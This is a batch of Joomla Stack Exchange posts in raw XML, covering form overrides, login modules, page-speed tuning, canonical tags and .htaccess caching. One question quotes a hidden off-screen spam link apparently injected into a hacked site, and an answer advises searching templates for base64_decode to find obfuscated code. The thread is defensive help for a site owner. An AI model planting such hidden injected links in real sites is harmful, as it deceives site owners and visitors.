  <row Id="4427" PostTypeId="2" ParentId="4426" CreationDate="2014-09-12T10:20:07.197" Score="2" Body="&lt;p&gt;The subject field is set to be required by the XML file that the contact form consists of. &#xA;You can see this by going here: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components/com_contact/models/forms/contact.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then line ~ 23:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;contact_subject&quot;&#xA;    type=&quot;text&quot;&#xA;    id=&quot;contact-emailmsg&quot;&#xA;    size=&quot;60&quot;&#xA;    description=&quot;COM_CONTACT_CONTACT_MESSAGE_SUBJECT_DESC&quot;&#xA;    label=&quot;COM_CONTACT_CONTACT_MESSAGE_SUBJECT_LABEL&quot;&#xA;    filter=&quot;string&quot;&#xA;    validate=&quot;contactemailsubject&quot;&#xA;    required=&quot;true&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you probably need is to override this XML file. &#xA;FYI: You can find a similar question here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4217/overriding-core-components-model-form-xml&quot;&gt;&lt;strong&gt;Overriding Core Components Model Form XML&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest and less hassle way to achieve this is by using the &lt;a href=&quot;http://extensions.joomla.org/extensions/miscellaneous/26496&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Form XML Overrides Plugin&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the plugin installed and enabled, you can create a copy of the contact.xml file and place it in:&#xA;templates/system/forms/com_contact/contact.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;***** The  &lt;strong&gt;Forms&lt;/strong&gt; folder you will need to create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove the required=&quot;true&quot; from the subject field, or remove the subject field completely.&#xA;Also remove the call to the field from your template override file, as you described in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the plugin administration page, you need to specify the component that you want to override for the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://icueproject.com/help/43&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Plugin Help Page&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-09-12T12:28:39.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4428" PostTypeId="1" CreationDate="2014-09-12T12:20:07.593" Score="2" ViewCount="183" Body="&lt;p&gt;i have &quot;developed&quot; a Custom Tag Search using a Form, on the Result Page (Template Override) the found Items are shown as a accordion menu in there Categories. I expected the Categories would be shown by category ID unfortunately this is not the case, it seems like somehow it takes the standard Options from the Tag Component and orders it by Article Title. Which is leading that my Categories are bit being shown in the correct order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example searh url: &lt;a href=&quot;http://www.ego.pc-helfer.eu/index.php?option=com_tags&amp;amp;view=tag&amp;amp;id[0]=4&amp;amp;id&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ego.pc-helfer.eu/index.php?option=com_tags&amp;amp;view=tag&amp;amp;id[0]=4&amp;amp;id&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/glnuW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;=5&amp;amp;id[2]=64&amp;amp;id[3]=67&amp;amp;id[4]=69&amp;amp;types[0]=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i would like to achieve is that Accordion Menu is arranged like this:&#xA;Silicondichtstoffe (CATID 13)&#xA;Beidseitig Klebende Butylbänder (CATID 18)&#xA;Kaschierte Butylbänder (CATID 31)&#xA;Butylbänder für Spezialanwendungen (CATID 32)&#xA;CONLOC Klebstoffe (CATID 36)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Code/Template Override i am using is (had to add the code as a picture, to much was stripped out):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/glnuW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now can i just use the filter_order in the form an add something like:&#xA;&amp;lt; ?php get $category['id'];? &gt;&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-09-12T12:20:07.593" Title="Custom Search Result Page order by Category ID" Tags="|tags|search|content-filtering|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4429" PostTypeId="1" CreationDate="2014-09-12T13:36:00.927" Score="2" ViewCount="1281" Body="&lt;p&gt;I want to use our Joomla 3.x site to do three different functions and therefore have three templates and I have setup three menus, but assigned more than one login form doesn't seem to work. It just picks one even if both are enabled. Using custom overrides on the templates doesn't help either. Will I need to setup multiple Joomlas? Basicly I want the login form to have the template of the section of the website it's logging into but I can't seem to be able to do that!&#xA;Thanks&#xA;Paul&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I can explain it another way! We have direct clients who we want to have access to protected files and would use the main website. We have something like Shop managers who we would point to a different url and have a different theme/template and be able to login to access sales material and we have a webapp which either can login and access that webapp. At the moment from our current site I'm using an iframe to a joomla site and using the joomla users to allow access to that system, so it doesn't have any template or in fact is a blank template. So if the user accesses any of these hidden menus and isn't logged in I would like them to go to 3 different styles of login form. Maybe I can disable the login 'form'? and if not loged in ask them to use the login module that's already on the page?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="1891" LastEditDate="2014-09-22T12:32:11.857" LastActivityDate="2014-09-22T12:32:11.857" Title="Can you have multiple custom Login Forms with unique templates Joomla 3.x" Tags="|joomla-3.x|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4430" PostTypeId="2" ParentId="4429" CreationDate="2014-09-12T13:47:07.367" Score="1" Body="&lt;p&gt;It is not very clear what you want to do and its purpose, but if I understood at some level your question, you could use a 3rd party form extension, that can integrate with the Joomla User (e.g. RS Forms) and set up 3 different forms according to your needs. You can create then 3 different menu-items for these 3 forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need to have different functionality in each form, you could just create one, and use it as module or inside an article through a content plugin, for all of the 3 different menu-items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps a bit...&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-09-12T18:41:29.317" LastActivityDate="2014-09-12T18:41:29.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4431" PostTypeId="1" CreationDate="2014-09-12T14:07:17.713" Score="2" ViewCount="202" Body="&lt;p&gt;I'm getting some odd output on my Search Page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;onContentSearch appears above the Page Title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://compaci.org/en/search?searchword=partner&amp;amp;searchphrase=all&quot; rel=&quot;nofollow&quot;&gt;http://compaci.org/en/search?searchword=partner&amp;amp;searchphrase=all&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped, any and all help greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1892" LastEditorUserId="1629" LastEditDate="2014-11-14T14:36:00.920" LastActivityDate="2015-02-26T00:33:28.773" Title="Rogue text output on my Search Page: &quot;onContentSearch&quot;" Tags="|joomla-3.x|fix-my-code|search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4432" PostTypeId="2" ParentId="4429" CreationDate="2014-09-12T15:33:53.023" Score="2" Body="&lt;p&gt;Maybe I am confused about what you are asking - you want to assign three different login modules to three different templates?, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you could create three login modules for each template, and then use &lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;Advanced Module Manager&lt;/a&gt; to assign the login modules to each specific template.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-09-12T15:33:53.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4433" PostTypeId="1" CreationDate="2014-09-12T15:39:53.273" Score="1" ViewCount="499" Body="&lt;p&gt;I'm trying to create a blog override to display all subcategories (of the current category) as a sort of secondary nav/filter, and and then display only the articles of the selected/active subcategory. I want the user to be able to jump between subcategories and see their articles without being directed to different pages, so I thought a special blog.php override would make the most sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to figure out is how to call the articles of a subcategory once the category is selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;children[$this-&amp;gt;category-&amp;gt;id] as $id =&amp;gt; $child): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;finds each subcategory, but I'm not sure how to access the articles of that subcategory.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastEditorUserId="1520" LastEditDate="2014-09-12T21:51:22.817" LastActivityDate="2014-09-12T21:51:22.817" Title="How can I access articles from subcategories in a blog layout?" Tags="|template-override|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4434" PostTypeId="2" ParentId="4433" CreationDate="2014-09-12T18:37:12.913" Score="1" Body="&lt;p&gt;hmm... well you have the category id, so you could either directly call the articles from the database, or better use the Joomla Model to get the articles of each category, within the blog_children.php template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelList::getInstance('Articles', 'ContentModel', array('ignore_request'=&amp;gt;true));&#xA;&#xA;$appParams = JFactory::getApplication()-&amp;gt;getParams();&#xA;$model-&amp;gt;setState('params', $appParams);&#xA;$model-&amp;gt;setState('filter.category_id', $child-&amp;gt;id);&#xA;$items = $model-&amp;gt;getItems();&#xA;&#xA;&#xA;foreach ($items as $item) {&#xA;    echo &quot;&amp;lt;div class='span12'&amp;gt;&quot;;&#xA;    echo $item-&amp;gt;title;&#xA;    echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this will take you closer to what you want achieve.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-09-12T18:37:12.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4435" PostTypeId="1" AcceptedAnswerId="4437" CreationDate="2014-09-13T11:30:47.560" Score="3" ViewCount="1035" Body="&lt;p&gt;I am using Joomla 3.3 and JA Teline IV template. My sites gtmetrix is very low. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Cache ON&lt;br&gt;&#xA;Cache Plugin Enabled&lt;br&gt;&#xA;SEF Enabled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JCH Optimize Plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Combine CSS files Yes&lt;br&gt;&#xA;Combine JavaScript Files Yes&lt;br&gt;&#xA;Gzip Javascript and CSS Yes&lt;br&gt;&#xA;Minify Yes&lt;br&gt;&#xA;Minify JavaScript NO (I think it will also minify my adsense code so dont want to take chance to get banned from adense)&lt;br&gt;&#xA;Minify HTML Yes&lt;br&gt;&#xA;Defer JavaScript (I also think deferring Javascript will cause my adsense banned)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu item Home&lt;br&gt;&#xA;Exclude all extension Yes&lt;br&gt;&#xA;Exclude CSS files - ja.tabs.css (but it is still showing in rendering block) not excluding at all&lt;br&gt;&#xA;Exclude JavaScript same as above - Ja.tabs.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gtmetrix.com/reports/www.livemedia24.com/3gHbCdCZ&quot; rel=&quot;nofollow&quot;&gt;http://gtmetrix.com/reports/www.livemedia24.com/3gHbCdCZ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/speed/pagespeed/insights/?url=http%3A%2F%2Fwww.livemedia24.com%2F&amp;amp;tab=desktop&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/speed/pagespeed/insights/?url=http%3A%2F%2Fwww.livemedia24.com%2F&amp;amp;tab=desktop&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see above reports and help. I also dont want to Leverage browser cache as i am updating my website daily basis, well i am newbie in this so dont have clear idea about it. Your suggestion comments will be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also did some settings in my K2, Image quality 100% to 80%. I am not sure if K2 is working fine on images are not.&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="109" LastEditDate="2014-09-13T22:07:07.650" LastActivityDate="2014-09-13T22:19:54.183" Title="gtmetrix and pagespeed low score" Tags="|joomla-3.x|performance|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4436" PostTypeId="1" AcceptedAnswerId="4441" CreationDate="2014-09-13T21:58:27.847" Score="5" ViewCount="1028" Body="&lt;p&gt;I am using Joomla 3.3. I checked my homepage source code and found unknown code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;position: absolute; top: 0px; left: -6500px;&quot;&amp;gt;Bookmakers bonuses with &amp;lt;a target=&quot;_blank&quot; rel=&quot;dofollow&quot; href=&quot;http://gbetting.co.uk/&quot;&amp;gt;www&amp;lt;/a&amp;gt; gbetting.co.uk site.&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand where it is coming from, I never placed anything in my site. Can someone please help where can I find?&lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2019-09-07T06:28:27.137" Title="Unknown code in my site - am i hacked?" Tags="|joomla-3.x|" AnswerCount="4" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4437" PostTypeId="2" ParentId="4435" CreationDate="2014-09-13T22:14:26.963" Score="3" Body="&lt;p&gt;As the first report states:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Understand the recommendations&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;They are meant to be generic, best practices; not everything will apply to your site.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Rules are sorted in order of impact upon score&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Optimizing rules at the top of the list can greatly improve your overall score.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My experience has been that these types of reports almost always make good recommendations, but the effort to implement the fix personally outweighs the benefit, so you have to think about your own needs and fix your problems over blindly following a generic report like this.&lt;/p&gt;&#xA;&lt;p&gt;So let's tackle some of my thoughts on the items:&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Defer parsing of JavaScript&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a good idea. But you're not going to implement this in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;To do this would require rewriting a lot of core code. Should that be done, maybe. Either way, I would highly doubt that anyone reading this answer will do it for their own site, so you can effectively ignore it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Serve scaled images&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can manually scale images yourself if you only need them at a smaller size, but I'm not aware of any core way to get resized images at this time. There may be an extension to help with this, but it will likely have quirks. I would recommend looking in to this, since this can definitely increase the page load time and make your site more mobile friendly.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Specify image dimensions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This could also probably help, but I've never seen it have a big effect.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Leverage browser caching&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a good idea, but is a server configuration for the most part, so it happens outside of Joomla. Ideally, you at least want the browser to be able to cache images, scripts, and stylesheets. These really don't change that often (or if they do, you should rename them or add a &lt;code&gt;?v=**timestamp**&lt;/code&gt; ending to break the cache. (&lt;a href=&quot;https://stackoverflow.com/questions/32414/how-can-i-force-clients-to-refresh-javascript-files&quot;&gt;https://stackoverflow.com/questions/32414/how-can-i-force-clients-to-refresh-javascript-files&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;This site explains how to adjust your .htaccess file to enable caching by extension: &lt;a href=&quot;http://www.siteground.com/tutorials/joomla/joomla-speed.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.siteground.com/tutorials/joomla/joomla-speed.htm&lt;/a&gt;. (Note: whether this actually works is dependent on your host.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Enable gzip compression&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can do this in the Joomla Global Configuration if you like.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;What isn't mentioned in that report&lt;/h2&gt;&#xA;&lt;p&gt;I can see in that report that your site took 7.15s to load. That is obviously WAY too slow, hence why you went and ran this report.&lt;/p&gt;&#xA;&lt;p&gt;What this report can't tell you is what could be holding up your site in delivering the initial file. I ran a waterfall speed test at &lt;a href=&quot;http://tools.pingdom.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tools.pingdom.com&lt;/a&gt;. This doesn't seem to affect your site (initial response was sub 1 second), so you really need to focus on resizing images (and maybe consider having less images or adding more images through ajax so it doesn't slow initial page load).&lt;/p&gt;&#xA;&lt;p&gt;For others that may look at this answer, I highly recommend using Joomla's debug mode (in global config) to get a list of queries run on a particular page load. This will give you the time that each query took. Optimizing queries is always my first stop in speeding up a site.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-13T22:14:26.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4438" PostTypeId="2" ParentId="4435" CreationDate="2014-09-13T22:19:54.183" Score="2" Body="&lt;p&gt;I Would say you could make some of you images smaller:&#xA;&lt;a href=&quot;http://www.livemedia24.com/media/k2/items/cache/32e0741e68cabc7552333046597de1b4_XL.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.livemedia24.com/media/k2/items/cache/32e0741e68cabc7552333046597de1b4_XL.jpg&lt;/a&gt;&#xA;Is 247KB but it is not massive, it just should have a intro image size for the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With T3 you some times have to be careful about combining css and js as they are generated from scripts not flat css or js. As you have said you have turned on compressing and pulling together css and js but these dont seem to have happen when you look at the live html. There are lots of calls, and to jatabs ones too. So maybe these are hard coded into your template and not in the joomla functions that JCH compresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could turn on gzip compression in the general joomla settings. Which would effect the html, css, js etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would say it looks like your site output html looks well formed but it is not working with JCH to optimise it for you so look at the template code if you can?&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-09-13T22:19:54.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4439" PostTypeId="2" ParentId="512" CreationDate="2014-09-13T22:28:10.450" Score="1" Body="&lt;p&gt;Another option you could try if you wanted to do an Override template would be to duplicate the output of results and make the first just featured articles and the second order by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or for the locations like side bars where you could use modules, you could order them so the first one show title and have just featured articles and the second hide title and have order by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just as thoughts...&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-09-13T22:28:10.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4440" PostTypeId="2" ParentId="4436" CreationDate="2014-09-13T22:50:36.943" Score="4" Body="&lt;p&gt;As an easy non developer coding way to check and get your site un hacked try the good joomla &lt;a href=&quot;https://watchful.li/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://watchful.li/&lt;/a&gt; site that scans joomla or &lt;a href=&quot;https://mysites.guru/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysites.guru/&lt;/a&gt; (formerly myjoomla.com) also can help.&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="120" LastEditDate="2019-09-07T06:28:27.137" LastActivityDate="2019-09-07T06:28:27.137" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4441" PostTypeId="2" ParentId="4436" CreationDate="2014-09-14T02:43:41.433" Score="7" Body="&lt;p&gt;This looks like a hidden code from Your template og one of Your extensions. This kind of hidden code is often located in one of your .php-files, but you probably won't find the code you pasted above. Try looking for&#xA;    base64_decode&#xA;in &lt;strong&gt;/templates/YOURTEMPLATE/index.php&lt;/strong&gt;, followed by a series of seemingly random characters. That's a common way to hide code in your .php-files.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-14T02:43:41.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4442" PostTypeId="1" AcceptedAnswerId="4444" CreationDate="2014-09-14T11:58:42.050" Score="8" ViewCount="4461" Body="&lt;p&gt;Joomla adds canonical tag to almost all pages that refers to themselves, so they will not be indexable (I checked URLs by &lt;strong&gt;Doctor SEO extension&lt;/strong&gt; in FF) and they are not shown in google search result (i tried site:Mysite.com in google and i couldn't find that URLs, and &lt;strong&gt;Google webmaster tools&lt;/strong&gt; after 1 months reports: 34 URLs submitted, 15 URLs indexed!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example my URL is: http://cactusict.com/ویپ-voip.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and Joomla adds: &lt;code&gt;&amp;lt;link href=&quot;/ویپ-voip.html&quot; rel=&quot;canonical&quot;/&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used UTF-8 characters in my URLs, and for some URLs Joomla converts them to HTML characters in canonical tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really confused! I tried &lt;strong&gt;SEF404SH component&lt;/strong&gt;, the result was same!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should be worry about Doctor SEO extension warning or not? if no, why my pages is not shown in Google result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not multiple articles, so why Canonical tags are shown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i remove canonical tags in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="1896" LastEditorUserId="1520" LastEditDate="2014-09-14T15:05:37.423" LastActivityDate="2022-03-26T13:32:33.377" Title="Why Joomla 3 add Canonical tag to current page and made it unindexable?" Tags="|joomla-3.x|seo|sef|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4443" PostTypeId="1" AcceptedAnswerId="4453" CreationDate="2014-09-14T15:20:15.430" Score="2" ViewCount="3504" Body="&lt;p&gt;Following htaccess code is available at &lt;a href=&quot;http://www.siteground.com/tutorials/joomla/joomla-speed.htm&quot; rel=&quot;nofollow&quot;&gt;siteground&lt;/a&gt;  for Leverage browser caching. My question is that I want to set images expiration time for 1 week and css and scripts expiration time for 2 days. How can I do this? as it is already mentioned in code &quot;now plus 1 month or 1 week after request&quot;, but I am not getting it as I am newbie. Can someone please suggest or change below htaccess as per desired? Looking forward for your kind co-operation. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;########## Begin - ETag Optimization&#xA;## This rule will create an ETag for files based only on the modification&#xA;## timestamp and their size. &#xA;## Note: It may cause problems on your server and you may need to remove it&#xA;FileETag MTime Size&#xA;# AddOutputFilterByType is now deprecated by Apache. Use mod_filter in the future.&#xA;AddOutputFilterByType DEFLATE text/plain text/html text/xml text/css application/xml application/xhtml+xml application/rss+xml application/javascript application/x-javascript&#xA;# Enable expiration control&#xA;ExpiresActive On&#xA;# Default expiration: 1 hour after request&#xA;ExpiresDefault &quot;now plus 1 hour&quot;&#xA;# CSS and JS expiration: 1 week after request&#xA;ExpiresByType text/css &quot;now plus 1 week&quot;&#xA;ExpiresByType application/javascript &quot;now plus 1 week&quot;&#xA;ExpiresByType application/x-javascript &quot;now plus 1 week&quot;&#xA;&#xA;# Image files expiration: 1 month after request&#xA;ExpiresByType image/bmp &quot;now plus 1 month&quot;&#xA;ExpiresByType image/gif &quot;now plus 1 month&quot;&#xA;ExpiresByType image/jpeg &quot;now plus 1 month&quot;&#xA;ExpiresByType image/jp2 &quot;now plus 1 month&quot;&#xA;ExpiresByType image/pipeg &quot;now plus 1 month&quot;&#xA;ExpiresByType image/png &quot;now plus 1 month&quot;&#xA;ExpiresByType image/svg+xml &quot;now plus 1 month&quot;&#xA;ExpiresByType image/tiff &quot;now plus 1 month&quot;&#xA;ExpiresByType image/vnd.microsoft.icon &quot;now plus 1 month&quot;&#xA;ExpiresByType image/x-icon &quot;now plus 1 month&quot;&#xA;ExpiresByType image/ico &quot;now plus 1 month&quot;&#xA;ExpiresByType image/icon &quot;now plus 1 month&quot;&#xA;ExpiresByType text/ico &quot;now plus 1 month&quot;&#xA;ExpiresByType application/ico &quot;now plus 1 month&quot;&#xA;ExpiresByType image/vnd.wap.wbmp &quot;now plus 1 month&quot;&#xA;ExpiresByType application/vnd.wap.wbxml &quot;now plus 1 month&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="107" LastEditDate="2014-09-14T21:32:06.423" LastActivityDate="2014-09-15T12:43:52.643" Title="Leverage browser caching" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4444" PostTypeId="2" ParentId="4442" CreationDate="2014-09-14T16:09:16.387" Score="6" Body="&lt;p&gt;Solutions:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;One option is to prevent Joomla from creating canonical URL's, by creating an override for the file &lt;code&gt;/plugins/system/sef/sef.php&lt;/code&gt; on line 51 (better no canonical then an incorrect one)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it just concerns one or two pages on the whole site, you could consider using NoNumber's ReReplacer plugin to set the correct tag&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install a plugin or extension. The major SEF extensions all set a canonical URL, but recently a really small plugin has been publised which seems to do just what we need here, the Canonical plugin by Styleware&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;http://joomla-seo.net/Blog/joomla-3-and-canonical-url&quot; rel=&quot;noreferrer&quot;&gt;joomla-seo.net/Blog/joomla-3-and-canonical-url&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Right now you can't override a plugin that has no tmpl folder. So for the first option, you need to change the core file which is not recommended. Try second or third option.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-14T16:26:49.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4445" PostTypeId="1" AcceptedAnswerId="4446" CreationDate="2014-09-14T21:40:31.933" Score="1" ViewCount="9581" Body="&lt;p&gt;I'm trying to get Article's intro Image in Joomla 3.3 I found this code and it's not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article = JTable::getInstance(&quot;content&quot;); &#xA;$article-&amp;gt;load(JRequest::getInt(&quot;id&quot;)); // Get Article ID &#xA;$article_images = $article-&amp;gt;get(&quot;images&quot;); // Get image parameters&#xA;$pictures = json_decode($article_images); // Split the parameters apart&#xA;// Print the image&#xA;echo &quot;&amp;lt;img src='&quot; . $pictures-&amp;gt;{'image_intro'} . &quot;' alt='&quot; . $pictures-&amp;gt;{'image_intro_alt'} . &quot;'&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got info that &lt;code&gt;JRequest::getInt&lt;/code&gt; is depreciated and i when i'm trying to var dump &lt;code&gt;$pictures&lt;/code&gt; i got null. Can somebody tell me how to get 1 intro image by article id ?&lt;/p&gt;&#xA;" OwnerUserId="1898" LastEditorUserId="159" LastEditDate="2014-09-16T06:42:16.270" LastActivityDate="2014-09-16T06:42:16.270" Title="How to get article intro image by article Id?" Tags="|joomla-3.x|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
